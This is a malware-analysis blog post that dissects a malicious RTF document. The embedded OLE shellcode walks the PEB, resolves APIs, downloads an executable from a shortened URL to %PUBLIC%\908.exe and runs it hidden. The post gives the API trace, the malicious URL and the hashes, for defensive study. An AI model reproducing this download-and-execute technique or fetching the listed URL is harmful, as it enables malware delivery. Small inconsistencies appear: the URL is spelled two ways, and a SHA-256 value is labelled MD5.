Post

RTF Exploit

The suspicious sample under analysis is an RTF document designed to embed and execute malicious OLE objects. As with any document-based malware, the first step is to calculate its hashes and collect metadata for identification.

FieldValue
File TypeRTF Document
MD52fd300bd01ea3d00ea59d4e1d47056a0
SHA-1d8747407679055deee5bafaac281bdac52274da2
SHA-2562b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762
File Size1.02 MB (1065166 bytes)

Once submitted to VirusTotal, the sample showed a high detection ratio, flagged by multiple antivirus engines as containing an embedded OLE exploit.

virustotal.png

Static inspection confirmed that the RTF contained at least one suspicious OLE object. This hinted that the exploit would likely rely on embedded shellcode delivered via OLE streams.

Extracting the OLE Object

We used rtfobj.py to scan the malicious RTF document and extract any embedded OLE streams:

C:\Users\vboxuser\Desktop>python "C:\Users\vboxuser\Desktop\Tools\Documents
oletools-0.60.2\oletools\rtfobj.py" 
"C:\Users\vboxuser\Desktop\Master\Tarea3
2b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762.rtf" 
-s 0 -d C:\Users\vboxuser\Desktop\Master\Tarea3

The output revealed a malformed OLE object at offset 0x000FC3E7, which was dumped as:

1
...rtf_object_000FC3E7.raw (md5: 2fe51e42ac2a4a52d1855e21620e9c6f)

rtfobj.png

One check to VirusTotal, the sample showed a high detection ratio, flagged by multiple antivirus engines as containing an exploit for a 2017 CVE.

virustotal-raw.png

The details are the following:

| Field | Value | | ————- | —————————————————————- | | File Type | Data | | MD5 | 2fe51e42ac2a4a52d1855e21620e9c6f | | SHA-1 | af8eda0e5881952b5828d143de1bd45ced8f8717 | | SHA-256 | 280a7cce75f5ee71a2ff025efdc059a7d85a4de13292aa342f71e186876a93fb | | File Size | 1.34 KB (1372 bytes) |

Shellcode Analysis with scdbg

The extracted OLE object contained embedded shellcode. To better understand its behavior, we emulated the payload using scdbg.

Execution began at offset 0x7C (VA 0x40107C) with the following instructions:

1
2
3
4
5
40107C   42      inc edx
40107D   19F9    sbb ecx,edi
40107F   0BE1    or esp,ecx
401081   F8      clc
401082   793B    jns 0x4010BF

This sequence rearranges registers in preparation for deobfuscation.

During execution, the shellcode dynamically resolved several Windows APIs, a common tactic to avoid static detection. The following calls were observed:

  • GetProcAddress(ExpandEnvironmentStringsW)
  • ExpandEnvironmentStringsW(%PUBLIC%\908.exe, dst=12fbd0, sz=104)
  • LoadLibraryW("UrlMon")
  • GetProcAddress(URLDownloadToFileW)
  • URLDownloadToFileW("http://bit.ly/34vzFlU", "C:\Users\Public\908.exe")
  • LoadLibraryW("oleaut32") and GetProcAddress(SysAllocString)

scdbg.png

This confirms the shellcode’s functionality: it constructs a destination path in %PUBLIC%, downloads a remote executable from a shortened URL, and prepares it for execution.

Reversing the Shellcode

To deepen the analysis, we manually reversed the shellcode to better understand its structure and techniques. As expected, the code follows the typical pattern of most download-and-execute shellcodes, but with some tricks to hinder analysis: it is position-independent and padded with junk instructions.

When loaded into IDA, some sections were misinterpreted as code or data. To fix this, we had to manually redefine certain areas, step through execution instruction by instruction, and set breakpoints until the flow became clear.

The shellcode can be divided into three main sections:

  1. Garbage padding (0x0000–0x007B and 0x010E–0x02BB)
    Random bytes, int 3, hlt, and assorted db/dw instructions that IDA failed to properly disassemble. These do not execute if the EIP lands correctly.

  2. Executable junk & jump (0x007C–0x0108)
    Useless obfuscation loops and a final jmp 0x02BC redirecting execution to the real payload.

  3. Payload (0x02BC–0x0558)
    The real malicious logic: stack setup, manual API resolution, downloading an executable, and launching it in the background.

peb.png

Once the flow was reconstructed, we saw the shellcode walking the PEB (fs:[30h]) to locate kernel32.dll. From there, it invoked a custom implementation of GetProcAddress to resolve its APIs:

1
2
3
4
5
LoadLibraryW
ExpandEnvironmentStringsW
UrlDownloadToFileW
WinExec
ExitProcess

sub498.png

The function responsible for string comparisons (sub_498) performed case-insensitive matching in wide-char, converting characters on the fly with a simple xor ax, 0x20 whenever the character was between 'A' and 'Z'. This allowed the shellcode to reliably resolve function names without depending on exact casing.

Once the API resolution was complete, execution moved into the download phase. First, the destination path was constructed using ExpandEnvironmentStringsW as %PUBLIC%\908.exe. Next, the URL (hxxp://bit.ly/34vzFU) was pushed onto the stack in fragmented form, hidden across multiple push instructions. Finally, the shellcode invoked UrlDownloadToFileW(NULL, url, destino, 0, NULL) to retrieve the binary, proceeding only if the call returned S_OK.

If the download succeeded, the execution phase began: the binary was launched silently with WinExec(destino, SW_HIDE), and the shellcode immediately terminated the current process with ExitProcess(0).

Overall, more than half of the shellcode turned out to be padding and obfuscation, while the actual functionality resided in a compact position-independent loader. Its role was simple but effective: dynamically resolve APIs, construct the target path, download a remote executable, and execute it quietly before exiting. By setting the instruction pointer directly to 0x02BC, analysts can skip all the junk code and observe the core payload in action. The main difficulty during reversing was correcting IDA’s misinterpretations caused by the interleaving of junk instructions and data, which required manual adjustments to accurately follow the control flow.

Indicators of Compromise (IOCs)

The following IOCs were extracted from the RTF malware sample:

TypeValue
MD5 (RTF)2b5511fa177b5528e8d8f97516dcd9854284cf59b0e78d498b1ac7c3b2ef7762
OLE Object MD52fe51e42ac2a4a52d1855e21620e9c6f
Dropped File%PUBLIC%\908.exe
Malicious URLhxxp://bit.ly/34vzFU
This post is licensed under CC BY 4.0 by the author.